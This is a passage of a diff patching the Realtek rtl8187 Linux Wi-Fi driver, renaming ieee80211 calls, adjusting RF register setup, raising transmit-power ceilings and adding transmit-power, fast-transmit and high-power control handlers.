0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,48 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - - max_cck_power_level = 15; + + + max_cck_power_level = 35; //min_cck_power_level = 0; - max_ofdm_power_level = 25; // 12 -> 25 + max_ofdm_power_level = 35; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + if(cck_power_level >= 20 && cck_power_level < 30) + cck_power_level = 19; + for(i=0;i<8;i++){ - power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +482,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +511,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +557,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +626,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +681,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +711,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +741,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +772,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +799,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +824,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +852,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +902,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +915,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +980,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1007,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1024,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_wx.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c 2006-06-05 19:58:02.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_wx.c 2010-05-19 22:18:51.882696872 -0700 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,228 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(!(priv->highpower) && wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > 35) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + + up(&priv->wx_sem); + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_highpower(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + int i=0; + short prev = priv->highpower; + + down(&priv->wx_sem); + + if(enable) + priv->highpower=1; + else + priv->highpower=0; + + DMESG("Increasable transmission power %s", + priv->highpower ? "enabled" : "disabled"); + + if( (prev != priv->highpower) && !(priv->highpower) && (priv->chtxpwr[1] > priv->chtxpwr_orig[1]) ) + { + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i]; + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i]; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + wrqu->power.value = priv->txpwr_max; + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +307,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +340,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +364,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +388,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +407,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +459,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data 